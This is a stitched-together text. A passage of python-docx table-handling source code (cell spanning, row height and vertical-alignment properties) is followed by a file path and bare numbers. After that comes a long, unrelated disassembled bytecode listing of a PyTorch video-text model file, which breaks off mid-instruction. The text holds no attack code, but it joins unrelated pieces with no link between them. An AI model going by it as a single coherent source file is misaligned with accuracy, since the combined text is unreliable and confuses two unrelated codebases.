CT_Tbl.new() @property def _next_tc(self): """The `w:tc` element immediately following this one in this row, or |None| if this is the last `w:tc` element in the row.""" following_tcs = self.xpath("./following-sibling::w:tc") return following_tcs[0] if following_tcs else None def _remove(self): """Remove this `w:tc` element from the XML tree.""" self.getparent().remove(self) def _remove_trailing_empty_p(self): """Remove the last content element from this cell if it is an empty ``<w:p>`` element.""" block_items = list(self.iter_block_items()) last_content_elm = block_items[-1] if last_content_elm.tag != qn("w:p"): return p = last_content_elm if len(p.r_lst) > 0: return self.remove(p) def _span_dimensions(self, other_tc): """Return a (top, left, height, width) 4-tuple specifying the extents of the merged cell formed by using this tc and `other_tc` as opposite corner extents.""" def raise_on_inverted_L(a, b): if a.top == b.top and a.bottom != b.bottom: raise InvalidSpanError("requested span not rectangular") if a.left == b.left and a.right != b.right: raise InvalidSpanError("requested span not rectangular") def raise_on_tee_shaped(a, b): top_most, other = (a, b) if a.top < b.top else (b, a) if top_most.top < other.top and top_most.bottom > other.bottom: raise InvalidSpanError("requested span not rectangular") left_most, other = (a, b) if a.left < b.left else (b, a) if left_most.left < other.left and left_most.right > other.right: raise InvalidSpanError("requested span not rectangular") raise_on_inverted_L(self, other_tc) raise_on_tee_shaped(self, other_tc) top = min(self.top, other_tc.top) left = min(self.left, other_tc.left) bottom = max(self.bottom, other_tc.bottom) right = max(self.right, other_tc.right) return top, left, bottom - top, right - left def _span_to_width(self, grid_width, top_tc, vMerge): """Incorporate and then remove `w:tc` elements to the right of this one until this cell spans `grid_width`. Raises |ValueError| if `grid_width` cannot be exactly achieved, such as when a merged cell would drive the span width greater than `grid_width` or if not enough grid columns are available to make this cell that wide. All content from incorporated cells is appended to `top_tc`. The val attribute of the vMerge element on the single remaining cell is set to `vMerge`. If `vMerge` is |None|, the vMerge element is removed if present. """ self._move_content_to(top_tc) while self.grid_span < grid_width: self._swallow_next_tc(grid_width, top_tc) self.vMerge = vMerge def _swallow_next_tc(self, grid_width, top_tc): """Extend the horizontal span of this `w:tc` element to incorporate the following `w:tc` element in the row and then delete that following `w:tc` element. Any content in the following `w:tc` element is appended to the content of `top_tc`. The width of the following `w:tc` element is added to this one, if present. Raises |InvalidSpanError| if the width of the resulting cell is greater than `grid_width` or if there is no next `<w:tc>` element in the row. """ def raise_on_invalid_swallow(next_tc): if next_tc is None: raise InvalidSpanError("not enough grid columns") if self.grid_span + next_tc.grid_span > grid_width: raise InvalidSpanError("span is not rectangular") next_tc = self._next_tc raise_on_invalid_swallow(next_tc) next_tc._move_content_to(top_tc) self._add_width_of(next_tc) self.grid_span += next_tc.grid_span next_tc._remove() @property def _tbl(self): """The tbl element this tc element appears in.""" return self.xpath("./ancestor::w:tbl[position()=1]")[0] @property def _tc_above(self): """The `w:tc` element immediately above this one in its grid column.""" return self._tr_above.tc_at_grid_col(self._grid_col) @property def _tc_below(self): """The tc element immediately below this one in its grid column.""" tr_below = self._tr_below if tr_below is None: return None return tr_below.tc_at_grid_col(self._grid_col) @property def _tr(self): """The tr element this tc element appears in.""" return self.xpath("./ancestor::w:tr[position()=1]")[0] @property def _tr_above(self): """The tr element prior in sequence to the tr this cell appears in. Raises |ValueError| if called on a cell in the top-most row. """ tr_lst = self._tbl.tr_lst tr_idx = tr_lst.index(self._tr) if tr_idx == 0: raise ValueError("no tr above topmost tr") return tr_lst[tr_idx - 1] @property def _tr_below(self): """The tr element next in sequence after the tr this cell appears in, or |None| if this cell appears in the last row.""" tr_lst = self._tbl.tr_lst tr_idx = tr_lst.index(self._tr) try: return tr_lst[tr_idx + 1] except IndexError: return None @property def _tr_idx(self): """The row index of the tr element this tc element appears in.""" return self._tbl.tr_lst.index(self._tr) class CT_TcPr(BaseOxmlElement): """``<w:tcPr>`` element, defining table cell properties.""" _tag_seq = ( "w:cnfStyle", "w:tcW", "w:gridSpan", "w:hMerge", "w:vMerge", "w:tcBorders", "w:shd", "w:noWrap", "w:tcMar", "w:textDirection", "w:tcFitText", "w:vAlign", "w:hideMark", "w:headers", "w:cellIns", "w:cellDel", "w:cellMerge", "w:tcPrChange", ) tcW = ZeroOrOne("w:tcW", successors=_tag_seq[2:]) gridSpan = ZeroOrOne("w:gridSpan", successors=_tag_seq[3:]) vMerge = ZeroOrOne("w:vMerge", successors=_tag_seq[5:]) vAlign = ZeroOrOne("w:vAlign", successors=_tag_seq[12:]) del _tag_seq @property def grid_span(self): """The integer number of columns this cell spans. Determined by ./w:gridSpan/@val, it defaults to 1. """ gridSpan = self.gridSpan if gridSpan is None: return 1 return gridSpan.val @grid_span.setter def grid_span(self, value): self._remove_gridSpan() if value > 1: self.get_or_add_gridSpan().val = value @property def vAlign_val(self): """Value of `w:val` attribute on `w:vAlign` child. Value is |None| if `w:vAlign` child is not present. The `w:val` attribute on `w:vAlign` is required. """ vAlign = self.vAlign if vAlign is None: return None return vAlign.val @vAlign_val.setter def vAlign_val(self, value): if value is None: self._remove_vAlign() return self.get_or_add_vAlign().val = value @property def vMerge_val(self): """The value of the ./w:vMerge/@val attribute, or |None| if the w:vMerge element is not present.""" vMerge = self.vMerge if vMerge is None: return None return vMerge.val @vMerge_val.setter def vMerge_val(self, value): self._remove_vMerge() if value is not None: self._add_vMerge().val = value @property def width(self): """Return the EMU length value represented in the ``<w:tcW>`` child element or |None| if not present or its type is not 'dxa'.""" tcW = self.tcW if tcW is None: return None return tcW.width @width.setter def width(self, value): tcW = self.get_or_add_tcW() tcW.width = value class CT_TrPr(BaseOxmlElement): """``<w:trPr>`` element, defining table row properties.""" _tag_seq = ( "w:cnfStyle", "w:divId", "w:gridBefore", "w:gridAfter", "w:wBefore", "w:wAfter", "w:cantSplit", "w:trHeight", "w:tblHeader", "w:tblCellSpacing", "w:jc", "w:hidden", "w:ins", "w:del", "w:trPrChange", ) trHeight = ZeroOrOne("w:trHeight", successors=_tag_seq[8:]) del _tag_seq @property def trHeight_hRule(self): """Return the value of `w:trHeight@w:hRule`, or |None| if not present.""" trHeight = self.trHeight if trHeight is None: return None return trHeight.hRule @trHeight_hRule.setter def trHeight_hRule(self, value): if value is None and self.trHeight is None: return trHeight = self.get_or_add_trHeight() trHeight.hRule = value @property def trHeight_val(self): """Return the value of `w:trHeight@w:val`, or |None| if not present.""" trHeight = self.trHeight if trHeight is None: return None return trHeight.val @trHeight_val.setter def trHeight_val(self, value): if value is None and self.trHeight is None: return trHeight = self.get_or_add_trHeight() trHeight.val = value class CT_VerticalJc(BaseOxmlElement): """`w:vAlign` element, specifying vertical alignment of cell.""" val = RequiredAttribute("w:val", WD_CELL_VERTICAL_ALIGNMENT) class CT_VMerge(BaseOxmlElement): """``<w:vMerge>`` element, specifying vertical merging behavior of a cell.""" val = OptionalAttribute("w:val", ST_Merge, default=ST_Merge.CONTINUE)
data/python-docx-1.1.0/src/docx/oxml/table.py
14,476
9,004
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LOAD_CONST 0 LOAD_CONST None IMPORT_NAME torch STORE_NAME torch LOAD_CONST 0 LOAD_CONST ('nn',) IMPORT_NAME torch IMPORT_FROM nn STORE_NAME nn POP_TOP SETUP_EXCEPT to 42 LOAD_CONST 0 LOAD_CONST ('AutoConfig', 'AutoTokenizer') IMPORT_NAME transformers IMPORT_FROM AutoConfig STORE_NAME AutoConfig IMPORT_FROM AutoTokenizer STORE_NAME AutoTokenizer POP_TOP POP_BLOCK JUMP_FORWARD to 62 DUP_TOP LOAD_NAME ImportError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP POP_EXCEPT JUMP_FORWARD to 62 END_FINALLY LOAD_CONST 1 LOAD_CONST ('transformermodel',) IMPORT_NAME IMPORT_FROM transformermodel STORE_NAME transformermodel POP_TOP LOAD_BUILD_CLASS LOAD_CONST <code object MMPTModel at 0x7f8aefeafd20, file "f.py", line 13> LOAD_CONST 'MMPTModel' MAKE_FUNCTION LOAD_CONST 'MMPTModel' LOAD_NAME nn LOAD_ATTR Module CALL_FUNCTION STORE_NAME MMPTModel LOAD_BUILD_CLASS LOAD_CONST <code object MMFusion at 0x7f8e2ff25300, file "f.py", line 76> LOAD_CONST 'MMFusion' MAKE_FUNCTION LOAD_CONST 'MMFusion' LOAD_NAME nn LOAD_ATTR Module CALL_FUNCTION STORE_NAME MMFusion LOAD_BUILD_CLASS LOAD_CONST <code object MMFusionMFMMLM at 0x7f8e2ff25270, file "f.py", line 250> LOAD_CONST 'MMFusionMFMMLM' MAKE_FUNCTION LOAD_CONST 'MMFusionMFMMLM' LOAD_NAME MMFusion CALL_FUNCTION STORE_NAME MMFusionMFMMLM LOAD_BUILD_CLASS LOAD_CONST <code object MMFusionMTM at 0x7f8e2ff25a50, file "f.py", line 303> LOAD_CONST 'MMFusionMTM' MAKE_FUNCTION LOAD_CONST 'MMFusionMTM' LOAD_NAME MMFusionMFMMLM CALL_FUNCTION STORE_NAME MMFusionMTM LOAD_BUILD_CLASS LOAD_CONST <code object MMFusionShare at 0x7f8af11f1a50, file "f.py", line 320> LOAD_CONST 'MMFusionShare' MAKE_FUNCTION LOAD_CONST 'MMFusionShare' LOAD_NAME MMFusion CALL_FUNCTION STORE_NAME MMFusionShare LOAD_BUILD_CLASS LOAD_CONST <code object MMFusionSeparate at 0x7f8af11f14b0, file "f.py", line 447> LOAD_CONST 'MMFusionSeparate' MAKE_FUNCTION LOAD_CONST 'MMFusionSeparate' LOAD_NAME MMFusionShare CALL_FUNCTION STORE_NAME MMFusionSeparate LOAD_BUILD_CLASS LOAD_CONST <code object MMFusionJoint at 0x7f8af11f1780, file "f.py", line 538> LOAD_CONST 'MMFusionJoint' MAKE_FUNCTION LOAD_CONST 'MMFusionJoint' LOAD_NAME MMFusion CALL_FUNCTION STORE_NAME MMFusionJoint LOAD_BUILD_CLASS LOAD_CONST <code object MMFusionActionSegmentation at 0x7f8af11f1810, file "f.py", line 575> LOAD_CONST 'MMFusionActionSegmentation' MAKE_FUNCTION LOAD_CONST 'MMFusionActionSegmentation' LOAD_NAME MMFusion CALL_FUNCTION STORE_NAME MMFusionActionSegmentation LOAD_BUILD_CLASS LOAD_CONST <code object MMFusionActionLocalization at 0x7f8af11f1e40, file "f.py", line 608> LOAD_CONST 'MMFusionActionLocalization' MAKE_FUNCTION LOAD_CONST 'MMFusionActionLocalization' LOAD_NAME MMFusion CALL_FUNCTION STORE_NAME MMFusionActionLocalization LOAD_BUILD_CLASS LOAD_CONST <code object MMFusionSeparateActionSegmentation at 0x7f8aefa24b70, file "f.py", line 691> LOAD_CONST 'MMFusionSeparateActionSegmentation' MAKE_FUNCTION LOAD_CONST 'MMFusionSeparateActionSegmentation' LOAD_NAME MMFusionSeparate CALL_FUNCTION STORE_NAME MMFusionSeparateActionSegmentation LOAD_BUILD_CLASS LOAD_CONST <code object MMFusionSeparateActionLocalization at 0x7f8aefa24f60, file "f.py", line 705> LOAD_CONST 'MMFusionSeparateActionLocalization' MAKE_FUNCTION LOAD_CONST 'MMFusionSeparateActionLocalization' LOAD_NAME MMFusionSeparate CALL_FUNCTION STORE_NAME MMFusionSeparateActionLocalization LOAD_BUILD_CLASS LOAD_CONST <code object MMFusionShareActionLocalization at 0x7f8aefa24c00, file "f.py", line 755> LOAD_CONST 'MMFusionShareActionLocalization' MAKE_FUNCTION LOAD_CONST 'MMFusionShareActionLocalization' LOAD_NAME MMFusionShare CALL_FUNCTION STORE_NAME MMFusionShareActionLocalization LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'MMPTModel' STORE_NAME __qualname__ LOAD_CONST 'An e2e wrapper of inference model.' STORE_NAME __doc__ LOAD_NAME classmethod LOAD_CONST ('checkpoint_best.pt',) LOAD_CONST <code object from_pretrained at 0x7f8ece8a8390, file "f.py", line 16> LOAD_CONST 'MMPTModel.from_pretrained' MAKE_FUNCTION CALL_FUNCTION STORE_NAME from_pretrained LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7f8ece8a8c00, file "f.py", line 40> LOAD_CONST 'MMPTModel.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST (False,) LOAD_CONST <code object forward at 0x7f8aefeaf150, file "f.py", line 46> LOAD_CONST 'MMPTModel.forward' MAKE_FUNCTION STORE_NAME forward LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_CONST 0 LOAD_CONST None IMPORT_NAME os STORE_FAST os LOAD_CONST 2 LOAD_CONST ('recursive_config',) IMPORT_NAME utils IMPORT_FROM recursive_config STORE_FAST recursive_config POP_TOP LOAD_CONST 2 LOAD_CONST ('Task',) IMPORT_NAME tasks IMPORT_FROM Task STORE_FAST Task POP_TOP LOAD_FAST recursive_config LOAD_FAST config CALL_FUNCTION STORE_FAST config LOAD_FAST Task LOAD_METHOD config_task LOAD_FAST config CALL_METHOD STORE_FAST mmtask LOAD_FAST os LOAD_ATTR path LOAD_METHOD join LOAD_FAST config LOAD_ATTR eval LOAD_ATTR save_path LOAD_FAST checkpoint CALL_METHOD STORE_FAST checkpoint_path LOAD_FAST mmtask LOAD_ATTR build_model LOAD_FAST checkpoint_path LOAD_CONST ('checkpoint',) CALL_FUNCTION POP_TOP LOAD_CONST 2 LOAD_CONST ('S3D',) IMPORT_NAME processors.models.s3dg IMPORT_FROM S3D STORE_FAST S3D POP_TOP LOAD_FAST S3D LOAD_CONST 'pretrained_models/s3d_dict.npy' LOAD_CONST 512 CALL_FUNCTION STORE_FAST video_encoder LOAD_FAST video_encoder LOAD_METHOD load_state_dict LOAD_GLOBAL torch LOAD_METHOD load LOAD_CONST 'pretrained_models/s3d_howto100m.pth' CALL_METHOD CALL_METHOD POP_TOP LOAD_CONST 0 LOAD_CONST ('AutoTokenizer',) IMPORT_NAME transformers IMPORT_FROM AutoTokenizer STORE_FAST AutoTokenizer POP_TOP LOAD_FAST AutoTokenizer LOAD_ATTR from_pretrained LOAD_FAST config LOAD_ATTR dataset LOAD_ATTR bert_name LOAD_FAST config LOAD_ATTR dataset LOAD_ATTR use_fast LOAD_CONST ('use_fast',) CALL_FUNCTION STORE_FAST tokenizer LOAD_CONST 2 LOAD_CONST ('Aligner',) IMPORT_NAME processors IMPORT_FROM Aligner STORE_FAST Aligner POP_TOP LOAD_FAST Aligner LOAD_FAST config LOAD_ATTR dataset CALL_FUNCTION STORE_FAST aligner LOAD_GLOBAL MMPTModel LOAD_FAST config LOAD_FAST mmtask LOAD_ATTR model LOAD_FAST video_encoder CALL_FUNCTION LOAD_FAST tokenizer LOAD_FAST aligner BUILD_TUPLE RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ CALL_METHOD POP_TOP LOAD_FAST config LOAD_ATTR dataset LOAD_ATTR max_video_len LOAD_FAST self STORE_ATTR max_video_len LOAD_FAST video_encoder LOAD_FAST self STORE_ATTR video_encoder LOAD_FAST model LOAD_FAST self STORE_ATTR model LOAD_CONST None RETURN_VALUE LOAD_FAST video_frames LOAD_METHOD size LOAD_CONST 0 CALL_METHOD STORE_FAST bsz LOAD_FAST bsz LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST 'only bsz=1 is supported now.' CALL_FUNCTION RAISE_VARARGS LOAD_FAST video_frames LOAD_METHOD size LOAD_CONST 1 CALL_METHOD STORE_FAST seq_len LOAD_FAST video_frames LOAD_ATTR view LOAD_CONST (-1,) LOAD_FAST video_frames LOAD_METHOD size CALL_METHOD LOAD_CONST 2 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR BUILD_TUPLE CALL_FUNCTION STORE_FAST video_frames LOAD_FAST self LOAD_METHOD video_encoder LOAD_FAST video_frames LOAD_METHOD permute LOAD_CONST 0 LOAD_CONST 4 LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 CALL_METHOD CALL_METHOD STORE_FAST vfeats LOAD_FAST vfeats LOAD_CONST 'video_embedding' BINARY_SUBSCR STORE_FAST vfeats LOAD_FAST vfeats LOAD_METHOD view LOAD_FAST bsz LOAD_FAST seq_len LOAD_FAST vfeats LOAD_METHOD size LOAD_CONST -1 CALL_METHOD CALL_METHOD STORE_FAST vfeats LOAD_GLOBAL torch LOAD_METHOD zeros LOAD_FAST bsz LOAD_FAST self LOAD_ATTR max_video_len LOAD_FAST seq_len BINARY_SUBTRACT LOAD_FAST vfeats LOAD_METHOD size LOAD_CONST -1 CALL_METHOD CALL_METHOD STORE_FAST padding LOAD_GLOBAL torch LOAD_ATTR cat LOAD_FAST vfeats LOAD_FAST padding BUILD_LIST LOAD_CONST 1 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST vfeats LOAD_GLOBAL torch LOAD_ATTR cat LOAD_GLOBAL torch LOAD_ATTR ones LOAD_FAST bsz LOAD_FAST seq_len BUILD_TUPLE LOAD_GLOBAL torch LOAD_ATTR bool LOAD_CONST ('dtype',) CALL_FUNCTION LOAD_GLOBAL torch LOAD_ATTR zeros LOAD_FAST bsz LOAD_FAST self LOAD_ATTR max_video_len LOAD_FAST seq_len BINARY_SUBTRACT BUILD_TUPLE LOAD_GLOBAL torch LOAD_ATTR bool LOAD_CONST ('dtype',) CALL_FUNCTION BUILD_LIST LOAD_CONST 1 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST vmasks LOAD_FAST self LOAD_METHOD model LOAD_FAST caps LOAD_FAST cmasks LOAD_FAST vfeats LOAD_FAST vmasks CALL_METHOD STORE_FAST output LOAD_FAST return_score EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 'score' LOAD_GLOBAL torch LOAD_METHOD bmm LOAD_FAST output LOAD_CONST 'pooled_video' BINARY_SUBSCR LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST None LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR LOAD_FAST output LOAD_CONST 'pooled_text' BINARY_SUBSCR LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR CALL_METHOD LOAD_METHOD squeeze LOAD_CONST -1 CALL_METHOD LOAD_METHOD squeeze LOAD_CONST -1 CALL_METHOD BUILD_MAP STORE_FAST output LOAD_FAST output RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'MMFusion' STORE_NAME __qualname__ LOAD_CONST 'a MMPT wrapper class for MMBert style models.\n TODO: move isolated mask to a subclass.\n ' STORE_NAME __doc__ LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7f8aefeafed0, file "f.py", line 81> LOAD_CONST 'MMFusion.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object forward at 0x7f8aefeaf930, file "f.py", line 124> LOAD_CONST 'MMFusion.forward' MAKE_FUNCTION STORE_NAME forward LOAD_CONST <code object _mm_on_the_fly at 0x7f8aefeaf030, file "f.py", line 127> LOAD_CONST 'MMFusion._mm_on_the_fly' MAKE_FUNCTION STORE_NAME _mm_on_the_fly LOAD_CONST <code object _mm_attention_mask at 0x7f8aefeafb70, file "f.py", line 153> LOAD_CONST 'MMFusion._mm_attention_mask' MAKE_FUNCTION STORE_NAME _mm_attention_mask LOAD_CONST <code object _make_iso_mask at 0x7f8aefeaf0c0, file "f.py", line 179> LOAD_CONST 'MMFusion._make_iso_mask' MAKE_FUNCTION STORE_NAME _make_iso_mask LOAD_CONST <code object _pooling_vt_layer at 0x7f8e2ff25f60, file "f.py", line 221> LOAD_CONST 'MMFusion._pooling_vt_layer' MAKE_FUNCTION STORE_NAME _pooling_vt_layer LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD __init__ CALL_METHOD POP_TOP LOAD_GLOBAL AutoConfig LOAD_METHOD from_pretrained LOAD_FAST config LOAD_ATTR dataset LOAD_ATTR bert_name CALL_METHOD STORE_FAST transformer_config LOAD_FAST transformer_config LOAD_ATTR hidden_size LOAD_FAST self STORE_ATTR hidden_size LOAD_CONST False LOAD_FAST self STORE_ATTR is_train LOAD_FAST config LOAD_ATTR dataset LOAD_ATTR train_path LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_CONST True LOAD_FAST self STORE_ATTR is_train LOAD_FAST transformer_config LOAD_ATTR num_hidden_layers LOAD_FAST self STORE_ATTR num_hidden_layers LOAD_CONST 0 LOAD_FAST self STORE_ATTR last_iso_layer LOAD_FAST config LOAD_ATTR dataset LOAD_ATTR num_iso_layer LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST config LOAD_ATTR dataset LOAD_ATTR num_iso_layer LOAD_CONST 1 BINARY_SUBTRACT LOAD_CONST 1 BINARY_ADD LOAD_FAST self STORE_ATTR last_iso_layer LOAD_FAST config LOAD_ATTR model LOAD_ATTR mm_encoder_cls LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL getattr LOAD_GLOBAL transformermodel LOAD_FAST config LOAD_ATTR model LOAD_ATTR mm_encoder_cls CALL_FUNCTION STORE_FAST mm_encoder_cls LOAD_GLOBAL AutoConfig LOAD_METHOD from_pretrained LOAD_FAST config LOAD_ATTR dataset LOAD_ATTR bert_name CALL_METHOD STORE_FAST model_config LOAD_FAST config LOAD_ATTR dataset LOAD_ATTR max_video_len LOAD_FAST model_config STORE_ATTR max_video_len LOAD_FAST config LOAD_ATTR model LOAD_ATTR use_seg_emb LOAD_FAST model_config STORE_ATTR use_seg_emb LOAD_FAST mm_encoder_cls LOAD_ATTR from_pretrained LOAD_FAST config LOAD_ATTR dataset LOAD_ATTR bert_name LOAD_FAST model_config LOAD_CONST ('config',) CALL_FUNCTION LOAD_FAST self STORE_ATTR mm_encoder JUMP_FORWARD to 342 LOAD_FAST config LOAD_ATTR model LOAD_ATTR video_encoder_cls LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST config LOAD_ATTR model LOAD_ATTR text_encoder_cls LOAD_CONST None COMPARE_OP is not EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL getattr LOAD_GLOBAL transformermodel LOAD_FAST config LOAD_ATTR model LOAD_ATTR video_encoder_cls CALL_FUNCTION STORE_FAST video_encoder_cls LOAD_GLOBAL AutoConfig LOAD_METHOD from_pretrained LOAD_FAST config LOAD_ATTR dataset LOAD_ATTR bert_name CALL_METHOD STORE_FAST model_config LOAD_FAST config LOAD_ATTR dataset LOAD_ATTR max_video_len LOAD_FAST model_config STORE_ATTR max_video_len LOAD_GLOBAL hasattr LOAD_FAST model_config LOAD_CONST 'num_layers' CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST config LOAD_ATTR model LOAD_ATTR num_hidden_video_layers LOAD_FAST model_config STORE_ATTR num_layers JUMP_FORWARD to 282 LOAD_FAST config LOAD_ATTR model LOAD_ATTR num_hidden_video_layers LOAD_FAST model_config STORE_ATTR num_hidden_layers LOAD_FAST video_encoder_cls LOAD_ATTR from_pretrained LOAD_FAST config LOAD_ATTR dataset LOAD_ATTR bert_name LOAD_FAST model_config LOAD_CONST ('config',) CALL_FUNCTION LOAD_FAST self STORE_ATTR video_encoder LOAD_GLOBAL getattr LOAD_GLOBAL transformermodel LOAD_FAST config LOAD_ATTR model LOAD_ATTR text_encoder_cls CALL_FUNCTION STORE_FAST text_encoder_cls LOAD_FAST text_encoder_cls LOAD_METHOD from_pretrained LOAD_FAST config LOAD_ATTR dataset LOAD_ATTR bert_name CALL_METHOD LOAD_FAST self STORE_ATTR text_encoder JUMP_FORWARD to 342 LOAD_GLOBAL ValueError LOAD_CONST 'the encoder must be either MM or two backbones.' CALL_FUNCTION RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL NotImplementedError LOAD_CONST 'Please derive MMFusion module.' CALL_FUNCTION RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST attention_mask LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD _mm_attention_mask LOAD_FAST cmasks LOAD_FAST vmasks CALL_METHOD STORE_FAST attention_mask LOAD_GLOBAL torch LOAD_ATTR cat LOAD_GLOBAL torch LOAD_ATTR zeros LOAD_FAST vmasks LOAD_METHOD size LOAD_CONST 0 CALL_METHOD LOAD_FAST vmasks LOAD_METHOD size LOAD_CONST 1 CALL_METHOD LOAD_CONST 2 BINARY_ADD BUILD_TUPLE LOAD_GLOBAL torch LOAD_ATTR long LOAD_FAST vmasks LOAD_ATTR device LOAD_CONST ('dtype', 'device') CALL_FUNCTION LOAD_GLOBAL torch LOAD_ATTR ones LOAD_FAST cmasks LOAD_METHOD size LOAD_CONST 0 CALL_METHOD LOAD_FAST cmasks LOAD_METHOD size LOAD_CONST 1 CALL_METHOD LOAD_CONST 2 BINARY_SUBTRACT BUILD_TUPLE LOAD_GLOBAL torch LOAD_ATTR long LOAD_FAST cmasks LOAD_ATTR device LOAD_CONST ('dtype', 'device') CALL_FUNCTION BUILD_LIST LOAD_CONST 1 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST token_type_ids LOAD_FAST attention_mask LOAD_FAST token_type_ids BUILD_TUPLE RETURN_VALUE LOAD_FAST cmasks LOAD_METHOD size LOAD_CONST 0 CALL_METHOD LOAD_FAST vmasks LOAD_METHOD size LOAD_CONST 0 CALL_METHOD COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST '{}, {}, {}, {}' LOAD_METHOD format LOAD_GLOBAL str LOAD_FAST cmasks LOAD_METHOD size CALL_METHOD CALL_FUNCTION LOAD_GLOBAL str LOAD_FAST vmasks LOAD_METHOD size CALL_METHOD CALL_FUNCTION LOAD_GLOBAL str LOAD_FAST cmasks LOAD_METHOD size LOAD_CONST 0 CALL_METHOD CALL_FUNCTION LOAD_GLOBAL str LOAD_FAST vmasks LOAD_METHOD size LOAD_CONST 0 CALL_METHOD CALL_FUNCTION CALL_METHOD CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL torch LOAD_ATTR cat LOAD_FAST cmasks LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST None LOAD_CONST 1 BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR LOAD_FAST vmasks LOAD_FAST cmasks LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST 1 LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR BUILD_LIST LOAD_CONST 1 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST mm_mask LOAD_FAST self LOAD_ATTR last_iso_layer LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST mm_mask RETURN_VALUE LOAD_FAST cmasks LOAD_METHOD size LOAD_CONST 0 CALL_METHOD STORE_FAST batch_size LOAD_FAST self LOAD_METHOD _make_iso_mask LOAD_FAST batch_size LOAD_FAST cmasks LOAD_FAST vmasks CALL_METHOD STORE_FAST iso_mask LOAD_FAST mm_mask LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST None LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR LOAD_METHOD repeat LOAD_CONST 1 LOAD_FAST mm_mask LOAD_METHOD size LOAD_CONST -1 CALL_METHOD LOAD_CONST 1 CALL_METHOD STORE_FAST mm_mask BUILD_LIST STORE_FAST iso_mm_masks LOAD_FAST iso_mask LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST None LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR LOAD_METHOD repeat LOAD_CONST 1 LOAD_FAST self LOAD_ATTR last_iso_layer LOAD_CONST 1 LOAD_CONST 1 CALL_METHOD STORE_FAST iso_mask LOAD_FAST iso_mm_masks LOAD_METHOD append LOAD_FAST iso_mask CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR last_iso_layer LOAD_FAST self LOAD_ATTR num_hidden_layers COMPARE_OP < EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST mm_mask LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST None LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR LOAD_METHOD repeat LOAD_CONST 1 LOAD_FAST self LOAD_ATTR num_hidden_layers LOAD_FAST self LOAD_ATTR last_iso_layer BINARY_SUBTRACT LOAD_CONST 1 LOAD_CONST 1 CALL_METHOD STORE_FAST mm_mask LOAD_FAST iso_mm_masks LOAD_METHOD append LOAD_FAST mm_mask CALL_METHOD POP_TOP LOAD_GLOBAL torch LOAD_ATTR cat LOAD_FAST iso_mm_masks LOAD_CONST 1 LOAD_CONST ('dim',) CALL_FUNCTION STORE_FAST iso_mm_masks LOAD_FAST iso_mm_masks RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL torch LOAD_ATTR cat LOAD_GLOBAL torch LOAD_ATTR ones LOAD_FAST batch_size LOAD_CONST 1 BUILD_TUPLE LOAD_GLOBAL torch LOAD_ATTR bool LOAD_FAST cmasks LOAD_ATTR device LOAD_CONST ('dtype', 'device') CALL_FUNCTION LOAD_GLOBAL torch LOAD_ATTR zeros LOAD_FAST batch_size LOAD_FAST cmasks LOAD_METHOD size LOAD_CONST 1 CALL_METHOD LOAD_FAST vmasks LOAD_METHOD size LOAD_CONST 1 CALL_METHOD BINARY_ADD LOAD_CONST 1 BINARY_SUBTRACT BUILD_TUPLE LOAD_GLOBAL torch 